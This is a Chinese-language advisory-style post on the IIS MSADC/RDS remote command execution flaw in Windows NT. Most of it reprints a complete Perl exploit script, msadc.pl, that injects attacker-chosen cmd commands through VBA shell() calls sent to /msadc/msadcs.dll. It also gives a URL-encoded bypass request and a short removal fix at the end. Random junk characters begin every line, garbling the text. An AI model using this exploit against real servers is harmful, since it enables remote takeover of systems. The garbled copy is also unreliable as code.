IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
|?0Cm|? #uJGXrGt= 涉及程序:
+Gi~VW. Microsoft NT server
*4Cq,o`o> <l(6$~(-u 描述:
RuDn1h#u{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
.WA(X5 A{lzQO 详细:
(Vglcj 如果你没有时间读详细内容的话,就删除:
=jjUwcl c:\Program Files\Common Files\System\Msadc\msadcs.dll
,p/iN9+Z 有关的安全问题就没有了。
Esw#D90q w@7NoD= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
KK`P<^8J Er?Wg 09 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
k2l(!0o|; 关于利用ODBC远程漏洞的描述,请参看:
L,0HX hHF YAh http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm dhpEBJ SlI0p&2, 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
#Yi,EwD http://www.microsoft.com/security/bulletins/MS99-025faq.asp uBw1Xud[YI RG-pN() 这里不再论述。
$QmP'
< S P)$K= 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
=1fO"|L g<O*4
]= /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-Y%#z'^- 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
,/{mRw% a?K= sY!PXD0Q #将下面这段保存为txt文件,然后: "perl -x 文件名"
)Ac+5bs x(h(a#,r #!perl
D+d\<": #
+Ck F#H ~ # MSADC/RDS 'usage' (aka exploit) script
h=umt<&D #
hN$6Kx>{ # by rain.forest.puppy
Mh>H5l.1i #
"40Jxqt # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
.P.TqT@)r # beta test and find errors!
&bBK#d*-u? 7yxZe4~|# use Socket; use Getopt::Std;
D`PnY&ffT getopts("e:vd:h:XR", \%args);
EAp6IhW{ Udv5Y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
f
sAgXv
nk9Kq\2f: if (!defined $args{h} && !defined $args{R}) {
Ks:~Z9r} print qq~
>up'`K, Usage: msadc.pl -h <host> { -d <delay> -X -v }
1iEZ9J? -h <host> = host you want to scan (ip or domain)
A"FlH:Pn -d <seconds> = delay between calls, default 1 second
VYI%U'9Q -X = dump Index Server path table, if available
1$ez}k, -v = verbose
DbFTNoVR -e = external dictionary file for step 5
Z=n#XJO15 IZYq Or a -R will resume a command session
\^vf`-uG pUki!TA ~; exit;}
JS% &ipm kVE%
" $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
ww82)m8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
t=J\zyX! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
2KMLpO&De if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
|5S/h{gq $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
a@Tn_yX if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
l j*ELy <n< @
O5 if (!defined $args{R}){ $ret = &has_msadc;
fRC(Yyx die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
gsd9QW aQ mgDF print "Please type the NT commandline you want to run (cmd /c assumed):\n"
>lQ&^9EI% . "cmd /c ";
2
|w;4 $in=<STDIN>; chomp $in;
GJW+'-f $command="cmd /c " . $in ;
-q\5)nY o-2FGM`*VB if (defined $args{R}) {&load; exit;}
4 F~e3 ]YYjXg}% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(-Rh%ZHH &try_btcustmr;
^^QW< eW#U<x%P print "\nStep 2: Trying to make our own DSN...";
@=q,,t$r &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
5f2ah4 g J"'2zg1& print "\nStep 3: Trying known DSNs...";
#<|5<U &known_dsn;
Vc|r(lM d)`XG cx{= print "\nStep 4: Trying known .mdbs...";
::Y &known_mdb;
=SPuOy8 wP3_RA]z if (defined $args{e}){
-=,%9r print "\nStep 5: Trying dictionary of DSN names...";
itb0dF1G &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
x"h0Fe?J B
MU@J print "Sorry Charley...maybe next time?\n";
} r^@Xh exit;
,
"w`,c>! `"QUA G ##############################################################################
Y,K): ~T &\8.y2=9p sub sendraw { # ripped and modded from whisker
aCzdYv\} & sleep($delay); # it's a DoS on the server! At least on mine...
z5IHcZ my ($pstr)=@_;
Q/r0p> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;Vc@]6Ck die("Socket problems\n");
T5_z^7d if(connect(S,pack "SnA4x8",2,80,$target)){
J,;[n*s select(S); $|=1;
uV.3g 1m
print $pstr; my @in=<S>;
+F q`I2l| select(STDOUT); close(S);
SvC|"-[mJ return @in;
2h0I1a,7 } else { die("Can't connect...\n"); }}
'SF+P)Kmz CK[2duf^~ ##############################################################################
wJ-G7V,) r*]0PQ{? sub make_header { # make the HTTP request
X.<_TBos| my $msadc=<<EOT
G|FF POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
X1G[& User-Agent: ACTIVEDATA
tdg.vYMDPC Host: $ip
2%\Nq:;T Content-Length: $clen
`EVTlq@< Connection: Keep-Alive
*9)7.}uY dgPJte%i ADCClientVersion:01.06
|`T3H5X> Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
K;;Q*NN- Im%|9g;P --!ADM!ROX!YOUR!WORLD!
|8}f Content-Type: application/x-varg
Lu\]]m Content-Length: $reqlen
Z'dY,<@ t ]{qizfOB EOT
h-h U=I8 ; $msadc=~s/\n/\r\n/g;
adtK$@Yeg return $msadc;}
awuUaE on(P ##############################################################################
Qfo'w%px `Yp\.K z sub make_req { # make the RDS request
84tuN my ($switch, $p1, $p2)=@_;
{n%-^9b1{& my $req=""; my $t1, $t2, $query, $dsn;
Z:aDKAboU e3YZ-w^W~h if ($switch==1){ # this is the btcustmr.mdb query
~jAOGo/&6 $query="Select * from Customers where City=" . make_shell();
3P Twpq1 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
|#R;pEn $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
!e6;@ * w_G/[R3 elsif ($switch==2){ # this is general make table query
mH*42XC* $query="create table AZZ (B int, C varchar(10))";
0TU~Q $dsn="$p1";}
n"Ec %n >`=
'~y8 elsif ($switch==3){ # this is general exploit table query
DCX4!,ZF $query="select * from AZZ where C=" . make_shell();
=O1CxsKt6 $dsn="$p1";}
6}R^L(^M $/,qw
elsif ($switch==4){ # attempt to hork file info from index server
^ef:cS$; $query="select path from scope()";
,0[8/)$M $dsn="Provider=MSIDXS;";}
1iaNb[:QX $=iz&{9 elsif ($switch==5){ # bad query
`ea;qWy $query="select";
jEklf0Z $dsn="$p1";}
Nt67Ye3; &9PzBc $t1= make_unicode($query);
ttLChL $t2= make_unicode($dsn);
e%x$Cb:znn $req = "\x02\x00\x03\x00";
Z<En3^j` $req.= "\x08\x00" . pack ("S1", length($t1));
.{HU1/! $req.= "\x00\x00" . $t1 ;
aGNt?)8WPZ $req.= "\x08\x00" . pack ("S1", length($t2));
al=Dy60|z $req.= "\x00\x00" . $t2 ;
t-dN:1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
00?^!'; return $req;}
m\U@L+L IkH]W!_+ ##############################################################################
`j[)iok UBpYR>
<\ sub make_shell { # this makes the shell() statement
1W8[
RET return "'|shell(\"$command\")|'";}
hnL"f[p@gC ujB:G0'r ##############################################################################
0@,,YZf U/yYQZ\) sub make_unicode { # quick little function to convert to unicode
Nol',^) my ($in)=@_; my $out;
T{]Tb= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
({Fus@/ return $out;}
//Ioh (N k<"ZNQm$. ##############################################################################
J[L$8y: Xo(K*eIN sub rdo_success { # checks for RDO return success (this is kludge)
&k&tkE my (@in) = @_; my $base=content_start(@in);
!rb)Y;WQt if($in[$base]=~/multipart\/mixed/){
P~;NwHZ?k return 1 if( $in[$base+10]=~/^\x09\x00/ );}
\`{ YqO T return 0;}
N-3w)23*: -#3B>VY ##############################################################################
ub}t3# [rU8% sub make_dsn { # this makes a DSN for us
Hh$D:ZO my @drives=("c","d","e","f");
W3{k{~ print "\nMaking DSN: ";
SWO$#X / foreach $drive (@drives) {
(BMFGyE3 print "$drive: ";
@`$8rck` my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;.!AX|v "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
L\nWhmwl . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Wxb/|?, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
h:"<x$F return 0 if $2 eq "404"; # not found/doesn't exist
76}
N/C if($2 eq "200") {
Nk86Y2h foreach $line (@results) {
&Dqg<U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+_06{7@h } return 0;}
#]:yCiA v)d\
5#7 ##############################################################################
>LFhu6T
(O,|1 sub verify_exists {
`WC~cb\ my ($page)=@_;
9w}A7(' my @results=sendraw("GET $page HTTP/1.0\n\n");
3Q~ng2Wv% return $results[0];}
53=s'DZ wCkhE,#-_ ##############################################################################
<{9E.6G`n p/cVQ sub try_btcustmr {
QlSZr[^v my @drives=("c","d","e","f");
]5YG*sD4 my @dirs=("winnt","winnt35","winnt351","win","windows");
/(E)|*~6 7zgU>$i foreach $dir (@dirs) {
?#rDoYt/Sx print "$dir -> "; # fun status so you can see progress
+*DXzVC foreach $drive (@drives) {
IpB0~`7YI print "$drive: "; # ditto
c+_F nA $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[|<|a3']| $reqlenlen=length( "$reqlen" );
y2TJDb1 $clen= 206 + $reqlenlen + $reqlen;
S3P;@Rm y%cg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
{E@Vh
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
km}%7|R? else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
O6YYOmt3 Z[FSy-;" ##############################################################################
mmu{K$9}I ,-vbR& sub odbc_error {
QApil my (@in)=@_; my $base;
<nvz*s my $base = content_start(@in);
:jT1=PfL if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
hof:36 < $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bs
kG!w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mKvk6OC $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E-MEMran4 return $in[$base+4].$in[$base+5].$in[$base+6];}
>IJH#>i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
A]WU*GL2H print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
/Pxt f~$ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
dK#:io[Nz G9 ;X=c ##############################################################################
) 'j7Ra ^}a..@|%W sub verbose {
<KoiZ{V my ($in)=@_;
f2`[skNj return if !$verbose;
Ev,>_1#Xm print STDOUT "\n$in\n";}
&j<B22t! Z_zN:BJ8L ##############################################################################
^|5vmI'E k^w!|%a[ sub save {
5*/~) wN\U my ($p1, $p2, $p3, $p4)=@_;
{dH87 nt open(OUT, ">rds.save") || print "Problem saving parameters...\n";
i/6(~v print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Eh^c4x close OUT;}
|e!%6Qq3 CCNrjaA ##############################################################################
az*c0Z<pl _K<H*R sub load {
V8@VR`!' my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
c$Z3P%aP'V open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=2F;'T\6 @p=<IN>; close(IN);
G|H+
,B $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ZP
&q7HK\ $target= inet_aton($ip) || die("inet_aton problems");
)"/.2S; print "Resuming to $ip ...";
;.Zgt8/. $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
A(V,qw8 if($p[1]==1) {
E#[_"^n $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
!nQ_< $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
-GJ~xcf0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
o,>9|EMQZ if (rdo_success(@results)){print "Success!\n";}
2w_[c. else { print "failed\n"; verbose(odbc_error(@results));}}
{$-lXw4 elsif ($p[1]==3){
<tXk\cOg if(run_query("$p[3]")){
RL4J{4K print "Success!\n";} else { print "failed\n"; }}
<'N"GLJ elsif ($p[1]==4){
$9YAq/#Q if(run_query($drvst . "$p[3]")){
&OQ37(<_ print "Success!\n"; } else { print "failed\n"; }}
d0``: exit;}
fUx;_GX?
@rI+.X ##############################################################################
!0!m |^c5 I!1|);li sub create_table {
l7 Pn5c my ($in)=@_;
~ES6Qw`Oe $reqlen=length( make_req(2,$in,"") ) - 28;
(SGX|,5X7 $reqlenlen=length( "$reqlen" );
5QN~^ $clen= 206 + $reqlenlen + $reqlen;
lt08
E2p9 my @results=sendraw(make_header() . make_req(2,$in,""));
^x2zMB\t return 1 if rdo_success(@results);
uJ-Q]yQ my $temp= odbc_error(@results); verbose($temp);
g?B4b7II return 1 if $temp=~/Table 'AZZ' already exists/;
0OCmyy return 0;}
D8X~qt/ 3Gi^TXE] ##############################################################################
42$ pvw< 9`y@2/!Y sub known_dsn {
rDI}X?JmX # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>|zMN$: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
K}|zKTh:? "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$,u>, "banner", "banners", "ads", "ADCDemo", "ADCTest");
IVSOSl| <qGxkV
foreach $dSn (@dsns) {
$Mg[e*ct print ".";
%\"<lyD next if (!is_access("DSN=$dSn"));
)OHGg if(create_table("DSN=$dSn")){
w1Txz4JqB print "$dSn successful\n";
6 &Lr/J76 if(run_query("DSN=$dSn")){
Upw`|$1S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
tNoPpIu print "Something's borked. Use verbose next time\n";}}} print "\n";}
e dTFk$0 4SVIdSA ##############################################################################
MB7`'W
I'`90{I sub is_access {
-\<\OV:c* my ($in)=@_;
9U>OeTh( $reqlen=length( make_req(5,$in,"") ) - 28;
_mWVZ1P $reqlenlen=length( "$reqlen" );
T<oDLJA\ $clen= 206 + $reqlenlen + $reqlen;
]A%]W ^G my @results=sendraw(make_header() . make_req(5,$in,""));
p<[MU4 my $temp= odbc_error(@results);
60TM!\ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
GJ5R <f9I return 0;}
Upa F>,kM ZJe^MnE (G ##############################################################################
}7*|s+F(f S=}1k,I sub run_query {
j*\oK@ my ($in)=@_;
.0YcB $reqlen=length( make_req(3,$in,"") ) - 28;
U ,NGV0 $reqlenlen=length( "$reqlen" );
OUq%d8W $clen= 206 + $reqlenlen + $reqlen;
!\VzX my @results=sendraw(make_header() . make_req(3,$in,""));
Vy=P* return 1 if rdo_success(@results);
9>ajhFyOhX my $temp= odbc_error(@results); verbose($temp);
e%s1D return 0;}
)SZzA' WeJ=]7T'L ##############################################################################
r]@T9\9 /WGD7\G'8 sub known_mdb {
#_eXybUV my @drives=("c","d","e","f","g");
'_b3m2I.G my @dirs=("winnt","winnt35","winnt351","win","windows");
zLgc j(; my $dir, $drive, $mdb;
~&?57Sw*m my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
z3Yi$*q < Pbd[gKX_ # this is sparse, because I don't know of many
B(WmJ6e my @sysmdbs=( "\\catroot\\icatalog.mdb",
egK~w8`W% "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
#SKC>MGz "\\system32\\certmdb.mdb",
_dELVs7OL "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_TLspqi R#3zGWr~ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ht*N[Pi4; "\\cfusion\\cfapps\\forums\\forums_.mdb",
idB1%?< "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
ul3~!9F5F "\\cfusion\\cfapps\\security\\realm_.mdb",
,4S[<(T" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
)RN3Oz@H "\\cfusion\\database\\cfexamples.mdb",
t{g@z3 "\\cfusion\\database\\cfsnippets.mdb",
BTD_j&+( "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_CPj]m{ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ber&!9 "\\cfusion\\brighttiger\\database\\cleam.mdb",
Q7<Y5+ "\\cfusion\\database\\smpolicy.mdb",
o{>4PZ}=g "\\cfusion\\database\cypress.mdb",
c(uDkX "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
%%|p J%}Q> "\\website\\cgi-win\\dbsample.mdb",
Mk~U/oq "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
P4HoKoj2` "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
tmOy"mq67 ); #these are just
De>e`./56 foreach $drive (@drives) {
:8(jhs foreach $dir (@dirs){
Rz&`L8Bz foreach $mdb (@sysmdbs) {
>-\^ )z print ".";
J90:c@O"w if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
k;jl3GV print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
6/#+#T if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
YzQ(\._s print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
i3mw.`7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
SHs [te[ Z'`\N@c# foreach $drive (@drives) {
epKr6
xq foreach $mdb (@mdbs) {
tH&eKM4G print ".";
p:4-b"O if(create_table($drv . $drive . $dir . $mdb)){
k-a1^K3 print "\n" . $drive . $dir . $mdb . " successful\n";
qE3Ud:j if(run_query($drv . $drive . $dir . $mdb)){
u:']jw=f print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)5n0P
Zi } else { print "Something's borked. Use verbose next time\n"; }}}}
ZnJJ-zP }
(&NLLrsio h^_^)P+; ##############################################################################
\pkK
>R "=n%L +6% sub hork_idx {
~Er0$+q=Y; print "\nAttempting to dump Index Server tables...\n";
J~xm[^0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@{#'y4\> $reqlen=length( make_req(4,"","") ) - 28;
b:'8_jL $reqlenlen=length( "$reqlen" );
lz6CK
$clen= 206 + $reqlenlen + $reqlen;
ViyG%Sm my @results=sendraw2(make_header() . make_req(4,"",""));
AA)pV- if (rdo_success(@results)){
m'
S{P:TK my $max=@results; my $c; my %d;
]hy@5Jyh for($c=19; $c<$max; $c++){
+zbCYA $results[$c]=~s/\x00//g;
;F*^c
) $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
)7!,_r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
J zFR9DEt $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
_VjaTw8iM $d{"$1$2"}="";}
sN-u?EiF8 foreach $c (keys %d){ print "$c\n"; }
5 (!F Q } else {print "Index server doesn't seem to be installed.\n"; }}
FeS
,TQ4j uH?4d!G ##############################################################################
l"
~
CAw; 6iXV sub dsn_dict {
cUP1Uolvn open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0}`.Z03fy while(<IN>){
suIYfjh $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
<+r~?X_ next if (!is_access("DSN=$dSn"));
W`u @{Vb] if(create_table("DSN=$dSn")){
bC"h7$3 print "$dSn successful\n";
BMQ4i&kF| if(run_query("DSN=$dSn")){
Nxl#] print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)Ghw!m print "Something's borked. Use verbose next time\n";}}}
rNicg]:\x print "\n"; close(IN);}
(pM&eow} yMM2us#*+q ##############################################################################
>'=9sCi As5l36 sub sendraw2 { # ripped and modded from whisker
0FH.=
sleep($delay); # it's a DoS on the server! At least on mine...
js;YSg{m my ($pstr)=@_;
yxT}hMa socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
XYD-5pG die("Socket problems\n");
ar
7.O;e if(connect(S,pack "SnA4x8",2,80,$target)){
GutiqVP:B print "Connected. Getting data";
|7n%8JsY!" open(OUT,">raw.out"); my @in;
9ghUiBPiL: select(S); $|=1; print $pstr;
nO'C2)bBSG while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
pRxVsOb close(OUT); select(STDOUT); close(S); return @in;
N}[!QE } else { die("Can't connect...\n"); }}
@`nG&U K0o${%'@7 ##############################################################################
3LJ\y b&QI#w sub content_start { # this will take in the server headers
)h>dD my (@in)=@_; my $c;
\+/ciPzA- for ($c=1;$c<500;$c++) {
xzfugW if($in[$c] =~/^\x0d\x0a/){
9An\uH)mL if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
sK9RViqF\ else { return $c+1; }}}
H/ Ql return -1;} # it should never get here actually
<C;TGA ;o;ak.dTt ##############################################################################
z<^LY] g2^{+,/^K sub funky {
%[~g84@ my (@in)=@_; my $error=odbc_error(@in);
FL^t}vA if($error=~/ADO could not find the specified provider/){
mea}
9]c print "\nServer returned an ADO miscofiguration message\nAborting.\n";
|/ 8!PKm exit;}
:i
{;
81V if($error=~/A Handler is required/){
Jy"\_Vvl print "\nServer has custom handler filters (they most likely are patched)\n";
z?VjlA(X exit;}
jLO$[c`; if($error=~/specified Handler has denied Access/){
pV\ >? print "\nServer has custom handler filters (they most likely are patched)\n";
R47y/HG, exit;}}
XhWo~zh" U1fqs{> ##############################################################################
Z!fbc#L6
r|
\"" sub has_msadc {
*wd=&Z^19 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
`(P71T my $base=content_start(@results);
XDyo=A] return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
0Y0`$
return 0;}
`)KGajB N'l2$8 ########################
<}c7E3Uc " ;T
a8 #uC}IX2n 解决方案:
M0)0~#?.D 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
]c|JxgU 2、移除web 目录: /msadc